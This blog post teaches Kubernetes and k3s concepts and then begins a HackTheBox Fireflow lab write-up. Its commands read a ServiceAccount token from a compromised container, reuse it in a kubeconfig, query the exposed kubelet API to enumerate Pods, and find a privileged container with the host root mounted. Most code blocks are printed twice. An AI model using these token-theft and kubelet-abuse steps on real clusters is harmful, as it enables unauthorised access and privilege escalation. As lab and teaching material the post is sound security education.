July 3, 2026
Kubernetes and k3s: A Practical Deep Dive
From core concepts to HackTheBox Fireflow machine exploitation — everything you need to understand the architecture, the tooling, and why…

By c0gnit00
23 min read
From core concepts to HackTheBox Fireflow machine exploitation — everything you need to understand the architecture, the tooling, and why permissions matter.
1. What is Kubernetes?
Kubernetes (abbreviated k8s — "k" + 8 letters + "s") is an open-source system for automating the deployment, scaling, and management of containerized applications across a cluster of machines.
Instead of manually starting containers on specific servers, you describe what you want running and Kubernetes figures out where and how to run it — and keeps it running even when things fail.
Think of it like a delivery logistics company. You don't tell the company "put package A on truck 3, package B on truck 7." You say "deliver these packages by tomorrow," and their system handles routing, load balancing, and recovery if a truck breaks down. Kubernetes does that for your applications.
Kubernetes is self-healing: crashed containers are automatically restarted. It scales replicas up or down on demand, distributes traffic across healthy instances, and deploys new versions without downtime. It is declarative — you describe the desired state and Kubernetes makes reality match it.
2. The Cluster — The Big Picture
A cluster is the entire Kubernetes environment working as a single coordinated system. It is made up of one or more nodes (the machines), the control plane (the decision-making brain), and the workloads running inside Pods on those nodes.
Think of an orchestra. Each node is a musician. The control plane is the conductor. The cluster is the whole orchestra playing as one coordinated thing. As a user you talk to the whole cluster via the API server — the internal coordination between components is invisible to you.
A cluster can be a single node, as is common in k3s edge deployments and home-lab setups, where one machine acts as both the control plane and the worker. In production environments, clusters typically have dedicated control-plane nodes handling management traffic and many worker nodes running application Pods.
The hierarchy looks like this: the cluster contains nodes, each node runs a kubelet agent, each node hosts one or more Pods, and each Pod wraps one or more containers.
3. Core Building Blocks
Node
A node is a machine — physical or virtual — that participates in the cluster. A control-plane node runs the cluster's brain components: the API server, scheduler, and controller manager. A worker node runs your actual application Pods. In a single-node k3s setup, one machine does both jobs simultaneously.
Pod
A Pod is the smallest deployable unit in Kubernetes. It wraps one or more containers that share the same network namespace (meaning the same IP address), the same storage volumes, and always run on the same node together. Most Pods contain exactly one container. Multi-container Pods are used when processes are tightly coupled — for example, a main application alongside a sidecar log collector.
In a real k3s cluster you will see Pods like these:
prometheus-prometheus-node-exporter-nmntq
coredns-76c974cb66-cn7l6
mcp-server-54464cb475-29ztf
metrics-server-c8774f4f4-phw6qprometheus-prometheus-node-exporter-nmntq
coredns-76c974cb66-cn7l6
mcp-server-54464cb475-29ztf
metrics-server-c8774f4f4-phw6qEach one is a named Pod, and each contains one or more containers defined in its spec.
Container
The actual running application. Same concept as a Docker container. A Pod is essentially a thin scheduling and networking wrapper around one or more containers. Containers within a Pod share the Pod's IP and volumes but have isolated process spaces.
Namespace
A namespace is a virtual partition within a cluster. It exists for organizational isolation, RBAC scoping (permission rules can be namespace-specific), and resource quotas. Two teams can both have a Pod named web-server as long as they are in different namespaces.
In a standard k3s install you will find three namespaces. The default namespace is where user workloads land if no namespace is specified. The kube-system namespace holds core infrastructure like CoreDNS and metrics-server. A monitoring namespace might hold Prometheus and its exporters. Each namespace is a clean boundary for permissions and organization.
Deployment and DaemonSet
Deployments and DaemonSets are workload controllers — they describe how Pods should be managed over time.
A Deployment says "run N replicas of this Pod, keep them running, and allow rolling updates." It is used for stateless applications, APIs, and web servers. If a Pod dies, the Deployment controller creates a replacement.
A DaemonSet says "run exactly one copy of this Pod on every node in the cluster." It is used for node-level agents that need to run everywhere — log collectors, monitoring agents, security scanners. The node-exporter process in a Prometheus stack is typically a DaemonSet. This matters for security because DaemonSet Pods often carry elevated privileges and host-level mounts in order to report system metrics.
Service
A Service provides a stable network endpoint — a DNS name and a virtual IP — that routes traffic to a set of Pods even as individual Pods get replaced with new IPs over time.
There are three main Service types. A ClusterIP is internal to the cluster only. A NodePort exposes the service on every node's real IP on a high port in the range 30000 to 32767 — this is how internal services become reachable from outside the cluster without a load balancer. A LoadBalancer provisions an external cloud load balancer.
Port 30080 in the Fireflow HTB machine is a NodePort — the internal MCP server Pod is reachable from outside the cluster on that port because the Service is of type NodePort.
ServiceAccount
A ServiceAccount is a non-human identity that a Pod uses to authenticate to the Kubernetes API server. It is separate from human user accounts.
Every Pod is automatically assigned a ServiceAccount. A JWT token for that ServiceAccount is automatically mounted inside the container at /var/run/secrets/kubernetes.io/serviceaccount/token. The Pod can present this token when making API calls to the Kubernetes API server or directly to the kubelet. RBAC rules define what that token is permitted to do.
This is the mechanism at the center of most Kubernetes privilege escalation chains. If you compromise a container, you almost certainly have its ServiceAccount token and can authenticate to the cluster as that service identity.
4. The Control Plane — The Brain
The control plane is the set of components that make cluster-wide decisions. In k3s, all of them run bundled inside a single binary.
kube-apiserver listens on port 6443 and is the front door for everything. Every request — from kubectl, from Pods, from automation scripts — goes through this component. It handles authentication (who are you?) and authorization via RBAC (what are you allowed to do?).
kubelet runs on every node and listens on port 10250. It is the node agent responsible for actually starting and stopping containers, reporting node and Pod health back to the control plane, and handling exec, logs, and attach requests that the API server forwards to it.
kube-scheduler decides which node a new Pod should run on. It evaluates resource availability, node taints and tolerations, affinity rules, and other constraints to make that placement decision.
kube-controller-manager runs background reconciliation loops. If you asked for three replicas and only two are running, the controller manager notices and starts a third. If a node disappears, it reschedules the affected Pods.
etcd is the key-value database where all cluster state is stored. k3s uses a lighter embedded store (SQLite by default, or embedded etcd for multi-node HA setups) instead of a standalone etcd cluster.
When you run a kubectl command, it hits the kube-apiserver at port 6443, which authenticates your identity, checks RBAC for authorization, and then instructs the relevant component — often the kubelet at port 10250 — to carry out the action.
5. k3s — Lightweight Kubernetes
k3s is a lightweight, production-grade Kubernetes distribution built by Rancher (SUSE). It packages the entire Kubernetes control plane into a single binary of roughly 70MB, making it ideal for edge deployments, IoT devices, home-lab setups, and resource-constrained environments.
k3s uses SQLite as its default storage backend instead of etcd, bundles containerd as the container runtime, auto-generates certificates, and installs with a single command. The memory footprint starts around 512MB compared to the 2GB minimum for a standard Kubernetes installation. Everything else is standard Kubernetes under the hood — the same kubectl commands, RBAC rules, kubelet API, and ServiceAccount token mechanics all work identically.
k3s writes its cluster admin kubeconfig — which contains the full administrator certificate — to /etc/rancher/k3s/k3s.yaml. By default that file is owned by root with 600 permissions, meaning only root can read it. If you land on a k3s node without root access, you cannot use that file. However, if you have a ServiceAccount token from a Pod on the cluster, you can configure kubectl to use that token directly without touching the system config file. Section 10 covers exactly how to do that.
6. RBAC — Role-Based Access Control
RBAC is Kubernetes's permission system. It answers four questions for every API request: who is making the request (a user or a ServiceAccount), what action they want to perform (the verb), which resource they want to act on (pods, nodes, secrets, etc.), and in which namespace.
The four core RBAC objects are Role, ClusterRole, RoleBinding, and ClusterRoleBinding. A Role grants permissions within a single namespace. A ClusterRole grants permissions cluster-wide or for cluster-scoped resources like nodes. A RoleBinding binds a Role to a user or ServiceAccount in a namespace. A ClusterRoleBinding binds a ClusterRole across the whole cluster.
Kubernetes maps HTTP request methods to RBAC verbs. A GET request maps to the get or list verb. A POST request maps to create. A PUT maps to update. A PATCH maps to patch. A DELETE maps to delete. This mapping is enforced by the API server and also by the kubelet's own authorization webhook when requests arrive directly on port 10250. The relationship between HTTP methods and RBAC verbs is fundamental to understanding the WebSocket exec bypass covered later in this post.
Kubernetes provides two special self-inspection API resources that always work for any authenticated identity — no special RBAC grant is required. SelfSubjectAccessReview checks whether the current identity can perform one specific action. SelfSubjectRulesReview lists everything the current identity is permitted to do in a given namespace.
# Check one specific permission — can this identity exec into pods in the monitoring namespace?
curl -sk -X POST https://127.0.0.1:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectAccessReview",
"spec": {
"resourceAttributes": {
"namespace": "monitoring",
"verb": "create",
"resource": "pods",
"subresource": "exec"
}
}
}' | jq '.status'# Check one specific permission — can this identity exec into pods in the monitoring namespace?
curl -sk -X POST https://127.0.0.1:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectAccessReview",
"spec": {
"resourceAttributes": {
"namespace": "monitoring",
"verb": "create",
"resource": "pods",
"subresource": "exec"
}
}
}' | jq '.status'Output:
{
"allowed": false
}{
"allowed": false
}List all the permissions that the Identity has in the defautl namespace:
# List everything this identity can do in the default namespace
curl -sk -X POST https://127.0.0.1:6443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectRulesReview",
"spec": { "namespace": "default" }
}' | jq '.status.resourceRules'# List everything this identity can do in the default namespace
curl -sk -X POST https://127.0.0.1:6443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectRulesReview",
"spec": { "namespace": "default" }
}' | jq '.status.resourceRules'Output (for the mcp-sa ServiceAccount from the Fireflow machine):
[
{
"verbs": ["get"],
"apiGroups": [""],
"resources": ["nodes/proxy"]
},
{
"verbs": ["create"],
"apiGroups": ["authorization.k8s.io"],
"resources": ["selfsubjectaccessreviews", "selfsubjectrulesreviews"]
},
{
"verbs": ["create"],
"apiGroups": ["authentication.k8s.io"],
"resources": ["selfsubjectreviews"]
}
][
{
"verbs": ["get"],
"apiGroups": [""],
"resources": ["nodes/proxy"]
},
{
"verbs": ["create"],
"apiGroups": ["authorization.k8s.io"],
"resources": ["selfsubjectaccessreviews", "selfsubjectrulesreviews"]
},
{
"verbs": ["create"],
"apiGroups": ["authentication.k8s.io"],
"resources": ["selfsubjectreviews"]
}
]The only real grant here is get on nodes/proxy. This one permission is the linchpin of the entire privilege escalation chain described later.
7. Key Ports and What Listens on Them
Port 6443 is the main Kubernetes API server endpoint, bound on all interfaces. All kubectl commands, RBAC enforcement, and token-based authentication happen here. This is the public-facing entrypoint to the cluster.
Port 6444 is the internal k3s API server process, bound to 127.0.0.1 only. It is not reachable externally.
Port 10250 is the kubelet API, typically bound on all interfaces in misconfigured deployments. The API server calls this port to instruct the kubelet to start pods, run exec commands, stream logs, and attach to containers. If it is exposed on all interfaces rather than locked to localhost, any entity holding a valid ServiceAccount token can send requests directly to the kubelet — bypassing the API server's routing layer.
Port 10248 is the kubelet health check endpoint on localhost. Port 10249 is kube-proxy metrics on localhost. Port 9100 is the node-exporter Prometheus metrics endpoint.
You can confirm which ports are active with:
ss -tnulp | grep -E '6443|6444|10250'ss -tnulp | grep -E '6443|6444|10250'Output from the Fireflow machine:
tcp LISTEN 0 4096 127.0.0.1:6444 0.0.0.0:*
tcp LISTEN 0 4096 *:10250 *:*
tcp LISTEN 0 4096 *:6443 *:*tcp LISTEN 0 4096 127.0.0.1:6444 0.0.0.0:*
tcp LISTEN 0 4096 *:10250 *:*
tcp LISTEN 0 4096 *:6443 *:*The fact that port 10250 is bound on * (all interfaces) rather than localhost is a misconfiguration that becomes critical in the exploitation chain.
8. The ServiceAccount Token — What It Is and How to Decode It ?
Understanding what a ServiceAccount token is before using it in commands saves a lot of confusion.
Where it lives ?
Inside every Pod, Kubernetes automatically mounts a JWT token at this path:
/var/run/secrets/kubernetes.io/serviceaccount/token/var/run/secrets/kubernetes.io/serviceaccount/tokenRead it from inside a compromised container:
cat /var/run/secrets/kubernetes.io/serviceaccount/token; echocat /var/run/secrets/kubernetes.io/serviceaccount/token; echoThen store it in a shell variable on the host for all subsequent API calls:
export TOKEN="<paste-token-here>"export TOKEN="<paste-token-here>"What it is ?
A ServiceAccount token is a signed JWT (JSON Web Token). JWTs have three base64url-encoded parts separated by dots: the header, the payload, and the signature. The header identifies the algorithm used to sign it. The payload contains the actual claims — who this identity is, which Pod it belongs to, and when it expires. The signature is a cryptographic proof signed by the API server's private key.
Decoding the token
# Decode the header — shows the algorithm and key ID
echo -n "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null | jq .# Decode the header — shows the algorithm and key ID
echo -n "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null | jq .Output:
{
"alg": "RS256",
"kid": "aPE6yGrkIJZvgbw_GppSE0XPRYYLjxg1PrHhRcLERvo"
}
# Decode the payload — the actual identity claims
echo -n "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .{
"alg": "RS256",
"kid": "aPE6yGrkIJZvgbw_GppSE0XPRYYLjxg1PrHhRcLERvo"
}
# Decode the payload — the actual identity claims
echo -n "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .Output for the mcp-sa token from the Fireflow machine:
{
"aud": [
"https://kubernetes.default.svc.cluster.local",
"k3s"
],
"exp": 1814637969,
"iat": 1783101969,
"iss": "https://kubernetes.default.svc.cluster.local",
"jti": "d8f000d9-b216-435b-80cf-de3d0ec7d4a2",
"kubernetes.io": {
"namespace": "default",
"node": {
"name": "fireflow",
"uid": "87291588-0178-4e42-a998-41a52fa73b8e"
},
"pod": {
"name": "mcp-server-54464cb475-29ztf",
"uid": "702afebb-4f51-4ed5-aa98-ab6b2553a728"
},
"serviceaccount": {
"name": "mcp-sa",
"uid": "a534f551-b2b1-4e66-bda5-e9b5e2a5602c"
}
},
"nbf": 1783101969,
"sub": "system:serviceaccount:default:mcp-sa"
}{
"aud": [
"https://kubernetes.default.svc.cluster.local",
"k3s"
],
"exp": 1814637969,
"iat": 1783101969,
"iss": "https://kubernetes.default.svc.cluster.local",
"jti": "d8f000d9-b216-435b-80cf-de3d0ec7d4a2",
"kubernetes.io": {
"namespace": "default",
"node": {
"name": "fireflow",
"uid": "87291588-0178-4e42-a998-41a52fa73b8e"
},
"pod": {
"name": "mcp-server-54464cb475-29ztf",
"uid": "702afebb-4f51-4ed5-aa98-ab6b2553a728"
},
"serviceaccount": {
"name": "mcp-sa",
"uid": "a534f551-b2b1-4e66-bda5-e9b5e2a5602c"
}
},
"nbf": 1783101969,
"sub": "system:serviceaccount:default:mcp-sa"
}The sub field is the full identity string: system:serviceaccount::. This is what Kubernetes RBAC sees when this token is used. The kubernetes.io.namespace field tells you which namespace the ServiceAccount lives in. The kubernetes.io.node.name field gives you the node name — critical when kubectl get nodes is forbidden. The kubernetes.io.pod.name confirms which Pod this token was issued for. The exp field is the expiration timestamp as a Unix epoch.
This payload gives you the node name (fireflow) and confirms the identity (mcp-sa in the default namespace) before making a single API call.
9. Configuring kubectl Without Root Access
By default k3s writes its cluster admin config to /etc/rancher/k3s/k3s.yaml with 600 permissions — root-only. If you have a valid ServiceAccount token but not root access, you can build your own kubeconfig in your home directory.
# Point KUBECONFIG to a file you own
export KUBECONFIG=$HOME/k3s-config.yaml
# Configure the cluster endpoint
kubectl config set-cluster default \
--server=https://127.0.0.1:6443 \
--insecure-skip-tls-verify=true
# Add your ServiceAccount token as credentials
kubectl config set-credentials mcp-sa --token="$TOKEN"
# Create and activate a context
kubectl config set-context default --cluster=default --user=mcp-sa
kubectl config use-context default
# Verify
kubectl version# Point KUBECONFIG to a file you own
export KUBECONFIG=$HOME/k3s-config.yaml
# Configure the cluster endpoint
kubectl config set-cluster default \
--server=https://127.0.0.1:6443 \
--insecure-skip-tls-verify=true
# Add your ServiceAccount token as credentials
kubectl config set-credentials mcp-sa --token="$TOKEN"
# Create and activate a context
kubectl config set-context default --cluster=default --user=mcp-sa
kubectl config use-context default
# Verify
kubectl versionThe resulting file at ~/k3s-config.yaml looks like this:
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://127.0.0.1:6443
name: default
contexts:
- context:
cluster: default
user: mcp-sa
name: default
current-context: default
kind: Config
users:
- name: mcp-sa
user:
token: <YOUR_JWT_TOKEN_HERE>apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://127.0.0.1:6443
name: default
contexts:
- context:
cluster: default
user: mcp-sa
name: default
current-context: default
kind: Config
users:
- name: mcp-sa
user:
token: <YOUR_JWT_TOKEN_HERE>The — insecure-skip-tls-verify=true flag skips certificate validation. In production you would use — certificate-authority=/path/to/ca.crt with the cluster's CA certificate instead (often at /var/lib/rancher/k3s/server/tls/server-ca.crt if accessible).
With this config in place, kubectl works using the ServiceAccount's permissions — not admin credentials. Most common commands will return Forbidden because the ServiceAccount has narrow RBAC grants. That is expected and actually useful — the Forbidden errors confirm what the identity cannot do, just as the successful calls confirm what it can.
From the Fireflow machine, running standard commands with the mcp-sa token shows exactly this pattern:
kubectl get nodes
# Error from server (Forbidden): nodes is forbidden: User "system:serviceaccount:default:mcp-sa"
# cannot list resource "nodes" in API group "" at the cluster scope
kubectl get namespaces
# Error from server (Forbidden): namespaces is forbidden: ...
kubectl get pods -A
# Error from server (Forbidden): pods is forbidden: ...
kubectl get services -A
# Error from server (Forbidden): services is forbidden: ...
kubectl cluster-info
# Error from server (Forbidden): services is forbidden: ... in the namespace "kube-system"kubectl get nodes
# Error from server (Forbidden): nodes is forbidden: User "system:serviceaccount:default:mcp-sa"
# cannot list resource "nodes" in API group "" at the cluster scope
kubectl get namespaces
# Error from server (Forbidden): namespaces is forbidden: ...
kubectl get pods -A
# Error from server (Forbidden): pods is forbidden: ...
kubectl get services -A
# Error from server (Forbidden): services is forbidden: ...
kubectl cluster-info
# Error from server (Forbidden): services is forbidden: ... in the namespace "kube-system"Every standard cluster-browsing command is denied. The only thing mcp-sa can do through the API server is the self-review APIs and the nodes/proxy subresource. This is why the attack path must go through the kubelet directly rather than through standard kubectl commands.
10. Practical kubectl Commands
Cluster and general info
# Check connectivity and version
kubectl version
# Cluster overview (requires list permissions on services in kube-system)
kubectl cluster-info# Check connectivity and version
kubectl version
# Cluster overview (requires list permissions on services in kube-system)
kubectl cluster-infoNodes
# List all nodes
kubectl get nodes
# Detailed info including labels, conditions, capacity, and allocated resources
kubectl describe node <node-name>
kubectl describe node fireflow
# Node as JSON
kubectl get node fireflow -o json# List all nodes
kubectl get nodes
# Detailed info including labels, conditions, capacity, and allocated resources
kubectl describe node <node-name>
kubectl describe node fireflow
# Node as JSON
kubectl get node fireflow -o jsonNamespaces
# List all namespaces
kubectl get namespaces
# Shorthand
kubectl get ns# List all namespaces
kubectl get namespaces
# Shorthand
kubectl get nsPods
# Pods in a specific namespace
kubectl get pods -n default
kubectl get pods -n monitoring
kubectl get pods -n kube-system
# All pods across all namespaces
kubectl get pods -A
# Wide output - shows node name and IP
kubectl get pods -A -o wide
# Full description including events, volume mounts, and security context
kubectl describe pod <pod-name> -n <namespace>
kubectl describe pod prometheus-prometheus-node-exporter-nmntq -n monitoring
# Raw JSON - same structure as the kubelet's /pods endpoint
kubectl get pod <pod-name> -n <namespace> -o json
# Extract a specific field with JSONPath
kubectl get pod <pod-name> -n <namespace> -o jsonpath='{.spec.serviceAccountName}'
# Stream logs
kubectl logs <pod-name> -n <namespace>
kubectl logs <pod-name> -n <namespace> -c <container-name>
kubectl logs -f <pod-name> -n <namespace>
# Exec into a running container interactively
kubectl exec -it <pod-name> -n <namespace> -- /bin/bash
kubectl exec -it <pod-name> -n <namespace> -c <container> -- /bin/sh
# Run a single command non-interactively
kubectl exec -n monitoring prometheus-prometheus-node-exporter-nmntq \
-c node-exporter -- id# Pods in a specific namespace
kubectl get pods -n default
kubectl get pods -n monitoring
kubectl get pods -n kube-system
# All pods across all namespaces
kubectl get pods -A
# Wide output - shows node name and IP
kubectl get pods -A -o wide
# Full description including events, volume mounts, and security context
kubectl describe pod <pod-name> -n <namespace>
kubectl describe pod prometheus-prometheus-node-exporter-nmntq -n monitoring
# Raw JSON - same structure as the kubelet's /pods endpoint
kubectl get pod <pod-name> -n <namespace> -o json
# Extract a specific field with JSONPath
kubectl get pod <pod-name> -n <namespace> -o jsonpath='{.spec.serviceAccountName}'
# Stream logs
kubectl logs <pod-name> -n <namespace>
kubectl logs <pod-name> -n <namespace> -c <container-name>
kubectl logs -f <pod-name> -n <namespace>
# Exec into a running container interactively
kubectl exec -it <pod-name> -n <namespace> -- /bin/bash
kubectl exec -it <pod-name> -n <namespace> -c <container> -- /bin/sh
# Run a single command non-interactively
kubectl exec -n monitoring prometheus-prometheus-node-exporter-nmntq \
-c node-exporter -- idDeployments and DaemonSets
# List all Deployments
kubectl get deployments -A
kubectl describe deployment <name> -n <namespace>
# List all DaemonSets
kubectl get daemonsets -A
kubectl describe daemonset <name> -n <namespace># List all Deployments
kubectl get deployments -A
kubectl describe deployment <name> -n <namespace>
# List all DaemonSets
kubectl get daemonsets -A
kubectl describe daemonset <name> -n <namespace>Services
# All services
kubectl get services -A
kubectl get svc -A
# Describe a service to see its selector, endpoints, and NodePort
kubectl describe service <name> -n <namespace># All services
kubectl get services -A
kubectl get svc -A
# Describe a service to see its selector, endpoints, and NodePort
kubectl describe service <name> -n <namespace>ServiceAccounts
# List ServiceAccounts in a namespace
kubectl get serviceaccounts -n default
kubectl get sa -n default
# Describe a ServiceAccount
kubectl describe serviceaccount mcp-sa -n default
# Which ServiceAccount does a specific Pod use?
kubectl get pod <pod-name> -n <namespace> \
-o jsonpath='{.spec.serviceAccountName}'# List ServiceAccounts in a namespace
kubectl get serviceaccounts -n default
kubectl get sa -n default
# Describe a ServiceAccount
kubectl describe serviceaccount mcp-sa -n default
# Which ServiceAccount does a specific Pod use?
kubectl get pod <pod-name> -n <namespace> \
-o jsonpath='{.spec.serviceAccountName}'RBAC and permissions
# What can the current kubeconfig identity do?
kubectl auth can-i --list
# What can a specific token do?
kubectl auth can-i --list \
--token="$TOKEN" \
--server=https://127.0.0.1:6443 \
--insecure-skip-tls-verify
# Check one specific permission
kubectl auth can-i create pods/exec -n monitoring \
--token="$TOKEN" \
--server=https://127.0.0.1:6443 \
--insecure-skip-tls-verify
# List Roles, ClusterRoles, and their bindings
kubectl get roles -A
kubectl get rolebindings -A
kubectl get clusterroles
kubectl get clusterrolebindings
# Inspect a specific role's rules
kubectl describe clusterrole <name>
kubectl describe rolebinding <name> -n <namespace># What can the current kubeconfig identity do?
kubectl auth can-i --list
# What can a specific token do?
kubectl auth can-i --list \
--token="$TOKEN" \
--server=https://127.0.0.1:6443 \
--insecure-skip-tls-verify
# Check one specific permission
kubectl auth can-i create pods/exec -n monitoring \
--token="$TOKEN" \
--server=https://127.0.0.1:6443 \
--insecure-skip-tls-verify
# List Roles, ClusterRoles, and their bindings
kubectl get roles -A
kubectl get rolebindings -A
kubectl get clusterroles
kubectl get clusterrolebindings
# Inspect a specific role's rules
kubectl describe clusterrole <name>
kubectl describe rolebinding <name> -n <namespace>Secrets
# List all secrets (data is base64-encoded, only names visible here)
kubectl get secrets -A
# Read a secret's data fields
kubectl get secret <name> -n <namespace> -o jsonpath='{.data}'
# Decode one field
kubectl get secret <name> -n <namespace> \
-o jsonpath='{.data.password}' | base64 -d# List all secrets (data is base64-encoded, only names visible here)
kubectl get secrets -A
# Read a secret's data fields
kubectl get secret <name> -n <namespace> -o jsonpath='{.data}'
# Decode one field
kubectl get secret <name> -n <namespace> \
-o jsonpath='{.data.password}' | base64 -d11. The Kubelet API (Port 10250) — Direct Access
What is the Kubelet?
The kubelet is the node agent. It runs on every node and is responsible for starting and stopping containers according to Pod specs, reporting node and Pod health back to the control plane, and handling exec, logs, and attach requests that the API server forwards to it.
The kubelet exposes an HTTPS API on port 10250. The API server calls this port to instruct the kubelet. This same API can be called directly by anyone who holds a valid ServiceAccount token — subject to RBAC authorization via a webhook call back to the API server.
The kubelet's key API endpoints are:
/healthz — health check, returns ok on GET. /pods — full list of all Pods scheduled on this node, on GET. /stats/summary — node resource usage (CPU, memory, disk), on GET. /metrics — Prometheus-format node metrics, on GET. /containerLogs/{namespace}/{pod}/{container} — streams container logs, on GET. /exec/{namespace}/{pod}/{container} — executes a command inside a container, via POST or WebSocket. /run/{namespace}/{pod}/{container} — non-interactive command execution, via POST.
Kubelet direct commands via curl
First, ensure your token is exported:
export TOKEN="<your-jwt-here>"export TOKEN="<your-jwt-here>"Health check:
curl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/healthzcurl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/healthzOutput: ok
List all Pods on the node:
This bypasses the API server's RBAC check for pods/list. The kubelet's own authorization webhook decides whether the token is permitted to see pod data.
curl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/pods | jq '.items[].metadata.name'curl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/pods | jq '.items[].metadata.name'Output:
"metrics-server-c8774f4f4-phw6q"
"prometheus-server-867bb4fcfd-m4t59"
"prometheus-kube-state-metrics-7c8c787854-25j6q"
"mcp-server-54464cb475-29ztf"
"prometheus-prometheus-node-exporter-nmntq"
"coredns-76c974cb66-cn7l6"
"local-path-provisioner-8686667995-lp9th""metrics-server-c8774f4f4-phw6q"
"prometheus-server-867bb4fcfd-m4t59"
"prometheus-kube-state-metrics-7c8c787854-25j6q"
"mcp-server-54464cb475-29ztf"
"prometheus-prometheus-node-exporter-nmntq"
"coredns-76c974cb66-cn7l6"
"local-path-provisioner-8686667995-lp9th"Get all Pods with their containers:
curl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/pods | \
jq '.items[] | {pod: .metadata.name, containers: [.spec.containers[].name]}'curl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/pods | \
jq '.items[] | {pod: .metadata.name, containers: [.spec.containers[].name]}'Output:
{ "pod": "prometheus-prometheus-node-exporter-nmntq", "containers": ["node-exporter"] }
{ "pod": "coredns-76c974cb66-cn7l6", "containers": ["coredns"] }
{ "pod": "local-path-provisioner-8686667995-lp9th", "containers": ["local-path-provisioner"] }
{ "pod": "metrics-server-c8774f4f4-phw6q", "containers": ["metrics-server"] }
{ "pod": "prometheus-server-867bb4fcfd-m4t59", "containers": ["prometheus-server-configmap-reload", "prometheus-server"] }
{ "pod": "prometheus-kube-state-metrics-7c8c787854-25j6q", "containers": ["kube-state-metrics"] }
{ "pod": "mcp-server-54464cb475-29ztf", "containers": ["mcp-server"] }{ "pod": "prometheus-prometheus-node-exporter-nmntq", "containers": ["node-exporter"] }
{ "pod": "coredns-76c974cb66-cn7l6", "containers": ["coredns"] }
{ "pod": "local-path-provisioner-8686667995-lp9th", "containers": ["local-path-provisioner"] }
{ "pod": "metrics-server-c8774f4f4-phw6q", "containers": ["metrics-server"] }
{ "pod": "prometheus-server-867bb4fcfd-m4t59", "containers": ["prometheus-server-configmap-reload", "prometheus-server"] }
{ "pod": "prometheus-kube-state-metrics-7c8c787854-25j6q", "containers": ["kube-state-metrics"] }
{ "pod": "mcp-server-54464cb475-29ztf", "containers": ["mcp-server"] }Inspect a specific Pod's security context, privilege flags, and host mounts:
curl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/pods | \
jq '.items[] | select(.metadata.name=="prometheus-prometheus-node-exporter-nmntq") |
{
namespace: .metadata.namespace,
pod: .metadata.name,
node: .spec.nodeName,
serviceAccount: .spec.serviceAccountName,
hostNetwork: .spec.hostNetwork,
hostPID: .spec.hostPID,
containers: [.spec.containers[] | {
name: .name,
image: .image,
privileged: .securityContext.privileged,
runAsUser: .securityContext.runAsUser,
volumeMounts: .volumeMounts
}],
hostPathVolumes: [.spec.volumes[]? | select(.hostPath != null) | {name: .name, hostPath: .hostPath.path}]
}'curl -sk -H "Authorization: Bearer $TOKEN" \
https://127.0.0.1:10250/pods | \
jq '.items[] | select(.metadata.name=="prometheus-prometheus-node-exporter-nmntq") |
{
namespace: .metadata.namespace,
pod: .metadata.name,
node: .spec.nodeName,
serviceAccount: .spec.serviceAccountName,
hostNetwork: .spec.hostNetwork,
hostPID: .spec.hostPID,
containers: [.spec.containers[] | {
name: .name,
image: .image,
privileged: .securityContext.privileged,
runAsUser: .securityContext.runAsUser,
volumeMounts: .volumeMounts
}],
hostPathVolumes: [.spec.volumes[]? | select(.hostPath != null) | {name: .name, hostPath: .hostPath.path}]
}'Output:
{
"namespace": "monitoring",
"pod": "prometheus-prometheus-node-exporter-nmntq",
"node": "fireflow",
"podIP": "10.129.244.214",
"serviceAccount": "prometheus-prometheus-node-exporter",
"hostNetwork": true,
"hostPID": true,
"containers": [
{
"name": "node-exporter",
"image": "quay.io/prometheus/node-exporter:v1.11.1",
"privileged": true,
"runAsUser": 0,
"volumeMounts": [
{ "name": "proc", "readOnly": true, "mountPath": "/host/proc" },
{ "name": "sys", "readOnly": true, "mountPath": "/host/sys" },
{ "name": "root", "readOnly": true, "mountPath": "/host/root", "mountPropagation": "HostToContainer" }
]
}
],
"hostPathVolumes": [
{ "name": "proc", "hostPath": "/proc" },
{ "name": "sys", "hostPath": "/sys" },
{ "name": "root", "hostPath": "/" }
]
}{
"namespace": "monitoring",
"pod": "prometheus-prometheus-node-exporter-nmntq",
"node": "fireflow",
"podIP": "10.129.244.214",
"serviceAccount": "prometheus-prometheus-node-exporter",
"hostNetwork": true,
"hostPID": true,
"containers": [
{
"name": "node-exporter",
"image": "quay.io/prometheus/node-exporter:v1.11.1",
"privileged": true,
"runAsUser": 0,
"volumeMounts": [
{ "name": "proc", "readOnly": true, "mountPath": "/host/proc" },
{ "name": "sys", "readOnly": true, "mountPath": "/host/sys" },
{ "name": "root", "readOnly": true, "mountPath": "/host/root", "mountPropagation": "HostToContainer" }
]
}
],
"hostPathVolumes": [
{ "name": "proc", "hostPath": "/proc" },
{ "name": "sys", "hostPath": "/sys" },
{ "name": "root", "hostPath": "/" }
]
}Several attributes in this output are critically significant when found together. The container runs as runAsUser: 0 — root. It runs with privileged: true — full kernel capabilities. And it mounts hostPath: "/" at /host/root inside the container — the entire host filesystem is visible from inside the container.
